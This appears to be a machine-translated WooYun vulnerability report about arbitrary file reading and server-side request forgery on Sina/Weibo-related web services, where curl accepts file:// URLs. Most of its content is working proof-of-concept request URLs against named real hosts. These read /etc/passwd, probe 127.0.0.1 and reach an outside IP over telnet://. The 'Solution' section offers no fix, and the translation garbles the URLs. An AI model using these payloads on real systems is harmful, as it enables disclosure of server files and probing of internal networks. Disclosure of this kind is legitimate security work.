Weibo-vulnerabilities in reading arbitrary files from multiple favorites and fixing them

 

Brief description:

Arbitrary File Reading vulnerability in multiple locations...

Detailed description:

The program should use the curl library, but did not notice the file: // protocol, resulting in Local Arbitrary file Reading...

Proof of vulnerability: www.2cto.com

The program should use the curl library, but did not notice the file: // protocol, resulting in Local Arbitrary file Reading...

Http://mark.appsina.com/read.php? Sid = 2247 & type = 0 & url = file: // etc/passwd & pos = 1 & from = 0 & gsid = signature & vt = 2

Why? You can perform the following tests:

Http://mark.appsina.com/read.php? Sid = 2247 & type = 0 & url = http: // 127.0.0.1/& pos = 1 & from = 0 & gsid = Hangzhou & vt = 2

Or

Http://mark.appsina.com/read.php? Sid = 2247 & type = 0 & url = telnet: // 221.179.193.1 & pos = 1 & from = 0 & gsid = login & vt = 2

Or simply read the code

 

Others:

Http://h2w.iask.cn/h2wdisplay.php? U = file: // etc/passwd

Http://h2w.iask.cn/h5.php? U = file: // etc/passwd

Http://h2w.iask.cn/h5.php? Url = file: // etc/passwd

Solution:

This vulnerability should have been discovered long ago.

Author milk tank @ wooyun